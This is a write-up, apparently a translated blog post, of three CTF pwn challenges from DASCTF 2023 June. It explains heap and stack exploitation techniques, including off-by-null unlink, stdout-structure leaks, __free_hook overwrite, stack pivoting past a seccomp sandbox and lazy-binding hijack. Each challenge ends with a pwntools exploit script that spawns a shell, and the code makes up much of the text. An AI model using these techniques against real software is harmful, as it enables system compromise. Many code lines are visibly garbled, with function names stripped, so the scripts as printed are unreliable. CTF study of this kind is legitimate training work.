Location>code7788 >text

DASCTF 2023 June Challenge|Binary Specialized PWN (Next)

Popularity:376 ℃/2024-07-23 16:12:56

DASCTF 2023 June Challenge|Binary Specialized PWN (Next)

1.can_you_find_me

Check protection

come as no surprise

64-bit ida reverse

Only the add, and del functions cannot be shown.

Let's look at add first.

Apply for up to 10 heap blocks

Off_by_null vulnerability exists, consider unlink for heap block overlap

The del function would have no UAF vulnerability

1. First of all, find a way to leak out the libc address, because this question libc is 2.27, so the introduction of tcachebin mechanism, either apply for a large heap of blocks or apply for more than 7 small heap of blocks, but this question has a limit on the number of applications, combined with off --by- --null, prioritize unlink

2. Through unlink, andtcachebin play match, apply heap block to __IO_2_1_stdout_structures to modify the __IO_write_base_ field, because of the later call puts, so it will print a lot of data, the local test is to change the end bit \x58 to __IO_file_jumps, according to which the calculation of offset

3. Then is the same technique to play with, free_hook changed to system, and then get the shell.

PS: Since the remote high byte needs to be blasted, it's easier to write a loop (1/16 probability)

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

#io = process('./find')
libc = ELF('/home/su/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.') 
#io = remote('',27771)

def add(size,msg):
    ('choice:','1');
    ('Size:',str(size))
    ('Data:',msg)


def free(index):
    ('choice:','2');
    ('Index:',str(index))

def pwn():
  add(0x410,'aa') #0
  add(0x20,'aa')  #1
  add(0x20,'aa')  #2
  add(0x30,'aa')  #3
  add(0x4f0,'aa') #4
  add(0x20,'/bin/sh\x00') #5
  (io)
  free(0)
  free(3)

  payload = b'a'*0x30 + p64(0x40+0x30+0x30+0x420)
  add(0x38,payload) #0
  #(io)
  free(4)

  free(1)

  add(0x410,'a') #1 
  #(io)
  add(0x10,b'\x60\xc7') #3

  add(0x20,b'a') #4
  payload = p64(0xfbad1887) + p64(0)*3 + b'\x58'
  add(0x27,payload)

  libc_base = u64((6).ljust(8,b'\x00')) - ['_IO_file_jumps']
  success('libc_base----->'+hex(libc_base))
  free_hook = libc_base + ['__free_hook']
  system = libc_base + ['system']
  pause()
  #(io)
  free(0)
  payload = b'a'*0x30 + p64(0) + p64(0x41) + p64(free_hook)
  add(0x60,payload)
  add(0x38,'aaa')
  add(0x38,p64(system))

  free(5)
  ()

while True:
    try:
        #io = remote('',27373)
        io = process('./find')
        pwn()
        break;
    except:
        ()

2.A dream

Procedural protection status

No canary or pie protection on.

64-bit ida reverse

Created a subthread

Get in there.

Always print a sentence (wyxy ....)

There's one more function in the main process.

An 8-byte overflow exists for a read that can be stack migrated

(Is it really that simple? Questioner what did you do, you do not open the sandbox how do we fight against ctfers, questioner cold smile, hm, very simple, I protect the full soon good, said the questioner will open the final protection, so that ctfers have no place to go)

So let's take a look at the sandbox

Then you can't orw without open, ida sees that this sandbox is inside the main thread, so we can consider hijacking the subthread to get the shell

1. How to hijack it? Notice that the child process called write, then you can hijack the write_got table to change the address to the following

2. Hey, this is not in the sub-process began to read it, directly open the dazzle!

3. Note that the main thread to sleep up or the main thread is gone, not to mention sub-threads

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./dream')
#io = remote('',29280)
elf = ELF('./dream')
libc = ELF('/lib/x86_64-linux-gnu/.6')
#libc = ELF('libc6_2.31-0ubuntu9.7_amd64.so')
bss = () + 0x100
magic_read = 0x4013AE
payload = b'a'*0x40 + p64(bss+0x40) + p64(magic_read)
(payload)
#(io)
sleep(0.1)
pop_rdi_ret = 0x401483
pop_rsi_r15_ret = 0x401481
leave_ret = 0x40136c
payload = p64(pop_rsi_r15_ret) + p64(['write']) + p64(0) +p64(['read']) 
payload += p64(pop_rdi_ret) + p64(0x1000) + p64(['sleep'])
payload = (0x40, b'\x00') + p64(bss-8) + p64(leave_ret)
(payload)
sleep(0.1)
#(io)
(p64(magic_read))

pause()

payload =b'a'*0x30 +p64(pop_rdi_ret) + p64(['puts']) +p64(['puts']) + p64(magic_read)
(io)
(payload)
sleep(0.1)
('\n')
('\n')
#('\n')
#('\n')
#('\n')
#('\n')
#('\n')
#('\n')
#sleep(0.2)
libc_base = u64((6).ljust(8, b'\x00')) - ['puts']
success("libc_base:\t" + hex(libc_base))
bin_sh_addr = libc_base + next((b'/bin/sh'))
system_addr = libc_base + ['system']
ret = 0x40101a
#(io)
pop_rdi_rbp_ret = libc_base + 0x000000000002a745   #+ 0x248f2
thread_stack_rsp_addr = libc_base - 0x4150 + 0x2fa0 - 0x40 -8
success('thread_stack_rop_addr----->'+hex(thread_stack_rop_addr)) 
payload = p64(ret) + p64(pop_rdi_rbp_ret) + p64(bin_sh_addr) + p64(0) +p64(system_addr)
payload = (0x40, b'\x00') + p64(thread_stack_rsp_addr) +p64(leave_ret)
#(io)
(payload)

()

3.matchmaking platform

Procedural protection status

It only leaves us with a delayed binding

64-bit ida reverse

There are two opportunities to write to 0x4140 and 0x40c0 respectively

v3 is a char type range -127-128, the beginning is 0, with the do, while, can be added to 129, the realization of the overflow into -128, that is, you can write to the location of 0x40c0 (this location saves the program inside an address)

Idea: 1. Modify the last bit to the old friend _IO_2_1_stdout_ structure by overflowing, thus realizing the leakage of data, there is a probability of leaking out the program address

2. Because the program is delayed binding, by forging str_tab, hijacked to free delayed binding hijacked to puts_got table, and finally put into the parameter /bin/sh to get the shell

exp:

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

def pwn():
    ("Age >> ", b'\x00' * 0x80 + b'\x80')
    ("Photo(URL) >> ", p64(0xfbad1887) + p64(0) * 3 + b'\xb0\x5d')
    pie_base = u64((6, timeout=0.5).ljust(8, b'\x00')) - 0x40a0
    if (pie_base & 0xfff) != 0:
        exit(-1)
    success("pie_base:\t" + hex(pie_base))
    pause()
    (io)
    payload = b'/bin/sh\x00' + p64(pie_base + 0x4140 - 0x67) + b'system\x00'
    ("Name >> ", (0x80, b'\x00') + b'\x08')
    payload = p64(pie_base + 0x8).ljust(0x68, b'\x00') + p64(pie_base + 0x4140) #Hijacking by offset toputs
    ("Hobby >> ", payload)
    ()
if __name__ == '__main__':
    while True:
        global io
        try:
            io = process("./matchmaking_platform")
            pwn()
            break
        except:
            ()